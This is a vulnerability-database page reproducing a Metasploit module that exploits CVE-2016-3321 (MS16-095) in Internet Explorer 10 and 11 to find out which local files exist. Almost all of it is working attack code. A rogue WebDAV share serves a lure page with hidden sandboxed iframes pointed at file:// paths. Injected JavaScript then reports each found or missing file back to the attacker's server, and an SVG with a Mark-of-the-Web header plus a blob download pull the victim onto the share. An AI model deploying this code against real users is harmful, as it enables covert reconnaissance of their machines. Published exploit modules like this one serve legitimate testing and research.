Lucene search
K

Internet Explorer Iframe Sandbox File Name Disclosure Vulnerability

🗓️ 09 Aug 2016 18:35:42Reported by Yorick KosterType 
metasploit
 metasploit
🔗 www.rapid7.com👁 26 Views

Internet Explorer File Name Disclosure Vulnerabilit

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Internet Explorer Iframe Sandbox File Name Disclosure Vulnerability',
      'Description'    => %q{
        It was found that Internet Explorer allows the disclosure of local file names.
        This issue exists due to the fact that Internet Explorer behaves different for
        file:// URLs pointing to existing and non-existent files. When used in
        combination with HTML5 sandbox iframes it is possible to use this behavior to
        find out if a local file exists. This technique only works on Internet Explorer
        10 & 11 since these support the HTML5 sandbox. Also it is not possible to do
        this from a regular website as file:// URLs are blocked all together. The attack
        must be performed locally (works with Internet zone Mark of the Web) or from a
        share.
      },
      'License'        => MSF_LICENSE,
      'Author'         => 'Yorick Koster',
      'References'     =>
        [
          ['CVE', '2016-3321'],
          ['MSB', 'MS16-095'],
          ['URL', 'https://securify.nl/advisory/SFY20160301/internet_explorer_iframe_sandbox_local_file_name_disclosure_vulnerability.html'],
        ],
      'Platform'       => 'win',
      'DisclosureDate' => '2016-08-09'
    ))

    register_options(
      [
        OptString.new('SHARENAME', [ true, "The name of the top-level share.", "falcon" ]),
        OptString.new('PATHS', [ true, "The list of files to check (comma separated).", "Testing/Not/Found/Check.txt, Windows/System32/calc.exe, Program Files (x86)/Mozilla Firefox/firefox.exe, Program Files/VMware/VMware Tools/TPAutoConnSvc.exe" ]),
      ])

    # no SSL
    deregister_options('SSL', 'SSLVersion', 'SSLCert', 'SRVPORT', 'URIPATH')
  end

  def js
    my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

    %Q|function report() {
  if(window.location.protocol != 'file:') {
    try {
      window.location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html';
    } catch (e) { }
    return;
  }

  var frames = document.getElementsByTagName('iframe');
  for(var i = 0; i < frames.length; i++) {
  try {
      if(frames[i].name == 'notfound') {
        frames[i].src = 'http://#{my_host}/notfound/?f=' + frames[i].src;
      }
      else {
        frames[i].src = 'http://#{my_host}/found/?f=' + frames[i].src;
      }
    } catch(e) { }
  }
}|
  end

  def html
    frames = ""
    datastore['PATHS'].split(',').each do |path|
      frames = frames + "<iframe src=\"file:///#{path.strip}\" onload=\"this.name='notfound'\" style=\"display:none;\" sandbox></iframe>"
    end

    %Q|<!DOCTYPE html>
<html>
<head>
<script type="text/javascript">
#{js}
</script>
</head>
<body>
#{frames}
<script type="text/javascript">
  setTimeout('report();', 2000);
</script>
</body>
</html>|
  end

  def svg
    my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

    %Q|<!-- saved from url=(0014)about:internet -->
<svg width="100px" height="100px" version="1.1" onload="try{ location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html'; } catch(e) { }" xmlns="http://www.w3.org/2000/svg"></svg>|
  end

  def is_target_suitable?(user_agent)
    if user_agent =~ /^Microsoft-WebDAV-MiniRedir/
      return true
    end

    info = fingerprint_user_agent(user_agent)
    if info[:ua_name] == HttpClients::IE
      return true
    end

    false
  end

  def on_request_uri(cli, request)
    my_host  = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

    case request.method
    when 'OPTIONS'
      process_options(cli, request)
    when 'PROPFIND'
      process_propfind(cli, request)
    when 'GET'
      unless is_target_suitable?(request.headers['User-Agent'])
        print_status("GET #{request.uri} #{request.headers['User-Agent']} => 200 image.svg")
        resp = create_response(200, "OK")
        resp.body = svg
        resp['Content-Type'] = 'image/svg+xml'
        resp['Content-Disposition'] = 'attachment;filename=image.svg'
        cli.send_response(resp)
      end

      case request.uri
      when /^\/found\/\?f=/
        f = URI.decode_www_form(request.uri.split("/found/?").last).assoc('f').last
        report_note(host: cli.peerhost, type: 'ie.filenames', data: f)
        print_good("Found file " + f)
        send_response(cli, '')
      when /^\/notfound\/\?f=/
        f = URI.decode_www_form(request.uri.split("/notfound/?").last).assoc('f').last
        print_error("The file " + f + " does not exist")
        send_response(cli, '')
      when "/"
        resp = create_response(200, "OK")
        resp.body = %Q|<html>
<head>
<script type="text/javascript">
  try {
    window.location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html';
  } catch (e) {
    blob = new Blob([atob('#{Rex::Text.encode_base64(svg)}')]);
    window.navigator.msSaveOrOpenBlob(blob, 'image.svg');
  }
</script>
</head>
<body>
</body>
</html>|

        resp['Content-Type'] = 'text/html'
        cli.send_response(resp)
      else
        print_status("GET #{request.uri} #{request.headers['User-Agent']} => 200 returning landing page")
        send_response(cli, html)
      end
    else
      print_status("#{request.method} #{request.uri} => 404")
      resp = create_response(404, "Not Found")
      resp.body = ""
      resp['Content-Type'] = 'text/html'
      cli.send_response(resp)
    end
  end

  #
  # OPTIONS requests sent by the WebDav Mini-Redirector
  #
  def process_options(cli, request)
    print_status("OPTIONS #{request.uri}")
    headers = {
      'MS-Author-Via' => 'DAV',
      'DASL'          => '<DAV:sql>',
      'DAV'           => '1, 2',
      'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
      'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
      'Cache-Control' => 'private'
    }

    resp = create_response(207, "Multi-Status")
    headers.each_pair {|k,v| resp[k] = v }
    resp.body = ""
    resp['Content-Type'] = 'text/xml'
    cli.send_response(resp)
  end

  #
  # PROPFIND requests sent by the WebDav Mini-Redirector
  #
  def process_propfind(cli, request)
    path = request.uri
    print_status("PROPFIND #{path}")
    body = ''

    my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    my_uri = "http://#{my_host}/"

    if path !~ /\/$/

      if path.index(".")
        print_status "PROPFIND => 207 File (#{path})"
        body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
        # send the response
        resp = create_response(207, "Multi-Status")
        resp.body = body
        resp['Content-Type'] = 'text/xml; charset="utf8"'
        cli.send_response(resp)
        return
      else
        print_status "PROPFIND => 301 (#{path})"
        resp = create_response(301, "Moved")
        resp["Location"] = path + "/"
        resp['Content-Type'] = 'text/html'
        cli.send_response(resp)
        return
      end
    end

    print_status "PROPFIND => 207 Directory (#{path})"
    body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|

    if request["Depth"].to_i > 0
      trail = path.split("/")
      trail.shift
      case trail.length
      when 0
        body << generate_shares(path)
      when 1
        body << generate_files(path)
      end
    else
      print_status "PROPFIND => 207 Top-Level Directory"
    end

    body << "</D:multistatus>"

    body.gsub!(/\t/, '')

    # send the response
    resp = create_response(207, "Multi-Status")
    resp.body = body
    resp['Content-Type'] = 'text/xml; charset="utf8"'
    cli.send_response(resp)
  end

  def generate_shares(path)
    share_name = datastore['SHARENAME']
%Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{share_name}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
  end

  def generate_files(path)
    trail = path.split("/")
    return "" if trail.length < 2

    %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}index.html</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
  end

  def gen_timestamp(ttype=nil)
    ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
  end

  def gen_datestamp(ttype=nil)
    ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
  end

  def run
    datastore['URIPATH'] = '/'
    datastore['SRVPORT'] = 80
    exploit
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2024 20:52Current
4.8Medium risk
Vulners AI Score4.8
CVSS 21.9
CVSS 32.5
EPSS0.35331
26